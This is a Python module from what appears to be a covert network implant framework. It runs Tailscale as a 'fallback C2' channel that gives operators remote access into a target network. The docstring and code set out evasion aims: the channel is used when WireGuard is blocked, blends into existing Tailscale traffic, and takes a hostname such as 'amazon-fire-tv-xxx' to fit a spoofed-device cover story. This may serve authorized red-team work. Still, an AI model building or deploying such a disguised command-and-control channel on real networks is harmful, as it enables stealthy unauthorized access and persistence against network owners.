#!/usr/bin/env python3
"""Tailscale module — fallback operator access via Tailscale mesh VPN.

FALLBACK ONLY.  Tailscale maintains persistent connections to coordination
servers — it is chatty by design.  Use only when:
  1. WireGuard is blocked by the target network
  2. Target network already has Tailscale traffic (blends in)

Manages the tailscaled daemon via subprocess.  Authenticates with a
per-engagement auth key and sets hostname to match the MAC profile
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
"""

import logging
import os
import subprocess
import time
from typing import Optional

from modules.base import BaseModule

logger = logging.getLogger(__name__)

TAILSCALE_BIN = "/usr/bin/tailscale"
TAILSCALED_BIN = "/usr/sbin/tailscaled"
STARTUP_TIMEOUT = 30  # seconds to wait for tailscaled to be ready


class Tailscale(BaseModule):
    """Fallback C2 — Tailscale mesh VPN managed as subprocess."""

    name = "tailscale"
    module_type = "connectivity"
    priority = -150
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._daemon_proc: Optional[subprocess.Popen] = None
        self._auth_key: Optional[str] = None
        self._hostname: Optional[str] = None
        self._connected = False
        self._tailscale_ip: Optional[str] = None

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
        if not ts_cfg:
            logger.error("No tailscale config in bigbrother.yaml")
            self.state.set_module_status(self.name, "error")
            return

        self._auth_key = ts_cfg.get("auth_key")
        self._hostname = ts_cfg.get("hostname")

        if not self._auth_key:
            logger.error("Tailscale auth_key not configured")
            self.state.set_module_status(self.name, "error")
            return

        # If no hostname specified, try to match MAC profile
        if not self._hostname:
            mac_hostname = self.state.get(
                "mac_manager", "dhcp_hostname", default=None
            )
            if mac_hostname:
                self._hostname = mac_hostname.replace(" ", "-").lower()
            else:
                self._hostname = f"bb-{os.urandom(3).hex()}"

        # Start tailscaled daemon
        if not self._start_daemon(ts_cfg):
            self.state.set_module_status(self.name, "error")
            return

        # Authenticate and bring up
        if not self.up(self._auth_key):
            logger.error("Failed to bring Tailscale up")
            self._stop_daemon()
            self.state.set_module_status(self.name, "error")
            return

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self._connected = True

        self.state.set_module_status(self.name, "running", pid=self._pid)
        self.bus.emit("CONNECTIVITY_CHANGED",
                      {"module": self.name, "state": "up",
                       "ip": self._tailscale_ip, "hostname": self._hostname},
                      source_module=self.name)
        logger.info("Tailscale up — hostname=%s, ip=%s",
                     self._hostname, self._tailscale_ip)

    def stop(self) -> None:
        if not self._running:
            return

        self.down()
        self._stop_daemon()
        self._running = False
        self._connected = False

        self.state.set_module_status(self.name, "stopped")
        self.bus.emit("CONNECTIVITY_CHANGED",
                      {"module": self.name, "state": "down"},
                      source_module=self.name)
        logger.info("Tailscale stopped")

    def status(self) -> dict:
        return {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "connected": self._connected,
            "ip": self._tailscale_ip,
            "hostname": self._hostname,
            "daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
        }

    def configure(self, config: dict) -> None:
        self.config.update(config)

    def health_check(self) -> bool:
        if not self._running:
            return False
        return self.is_connected()

    # ------------------------------------------------------------------
    # Tailscale operations
    # ------------------------------------------------------------------

    def up(self, auth_key: str) -> bool:
        """Authenticate and bring Tailscale up with the given auth key."""
        try:
            cmd = [TAILSCALE_BIN, "up",
                   "--authkey", auth_key,
                   "--hostname", self._hostname,
                   "--accept-routes"]

            result = subprocess.run(
                cmd, capture_output=True, text=True, timeout=30,
            )

            if result.returncode != 0:
                logger.error("tailscale up failed: %s", result.stderr.strip())
                return False

            # Get assigned IP
            self._tailscale_ip = self.get_ip()
            return self._tailscale_ip is not None

        except subprocess.TimeoutExpired:
            logger.error("tailscale up timed out")
            return False

    def down(self) -> bool:
        """Bring Tailscale down (logout and disconnect)."""
        try:
            subprocess.run(
                [TAILSCALE_BIN, "logout"],
                capture_output=True, timeout=15,
            )
            subprocess.run(
                [TAILSCALE_BIN, "down"],
                capture_output=True, timeout=15,
            )
            self._connected = False
            return True
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
            logger.warning("Error during tailscale down: %s", exc)
            return False

    def is_connected(self) -> bool:
        """Check if Tailscale is connected and has an IP."""
        try:
            result = subprocess.run(
                [TAILSCALE_BIN, "status", "--json"],
                capture_output=True, text=True, timeout=10,
            )
            if result.returncode != 0:
                return False

            import json
            status = json.loads(result.stdout)
            backend_state = status.get("BackendState", "")
            self._connected = backend_state == "Running"
            return self._connected

        except (subprocess.TimeoutExpired, ValueError, KeyError):
            return False

    def get_ip(self) -> Optional[str]:
        """Get the Tailscale IPv4 address."""
        try:
            result = subprocess.run(
                [TAILSCALE_BIN, "ip", "-4"],
                capture_output=True, text=True, timeout=10,
            )
            if result.returncode == 0 and result.stdout.strip():
                ip = result.stdout.strip().splitlines()[0]
                self._tailscale_ip = ip
                return ip
        except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
            pass
        return None

    # ------------------------------------------------------------------
    # Daemon management
    # ------------------------------------------------------------------

    def _start_daemon(self, ts_cfg: dict) -> bool:
        """Start tailscaled as a managed subprocess."""
        state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
        socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")

        os.makedirs(state_dir, exist_ok=True)
        os.makedirs(os.path.dirname(socket_path), exist_ok=True)

        cmd = [
            TAILSCALED_BIN,
            f"--state={state_dir}/tailscaled.state",
            f"--socket={socket_path}",
            "--tun=userspace-networking",
        ]

        try:
            self._daemon_proc = subprocess.Popen(
                cmd,
                stdout=subprocess.DEVNULL,
                stderr=subprocess.PIPE,
            )
        except FileNotFoundError:
            logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
            return False
        except OSError as exc:
            logger.error("Failed to start tailscaled: %s", exc)
            return False

        # Wait for daemon to be ready
        deadline = time.time() + STARTUP_TIMEOUT
        while time.time() < deadline:
            if self._daemon_proc.poll() is not None:
                stderr = self._daemon_proc.stderr.read().decode(errors='replace')
                logger.error("tailscaled exited prematurely: %s", stderr[:500])
                return False

            try:
                result = subprocess.run(
                    [TAILSCALE_BIN, "status"],
                    capture_output=True, timeout=5,
                )
                # Any response (even "not logged in") means daemon is ready
                if result.returncode in (0, 1):
                    logger.debug("tailscaled is ready")
                    return True
            except (subprocess.TimeoutExpired, FileNotFoundError):
                pass

            time.sleep(1.0)

        logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
        self._stop_daemon()
        return False

    def _stop_daemon(self) -> None:
        """Stop the tailscaled subprocess."""
        if self._daemon_proc is None:
            return

        if self._daemon_proc.poll() is None:
            try:
                self._daemon_proc.terminate()
                self._daemon_proc.wait(timeout=5.0)
            except subprocess.TimeoutExpired:
                logger.warning("tailscaled did not stop after SIGTERM, killing")
                self._daemon_proc.kill()
                try:
                    self._daemon_proc.wait(timeout=2.0)
                except subprocess.TimeoutExpired:
                    pass

        self._daemon_proc = None
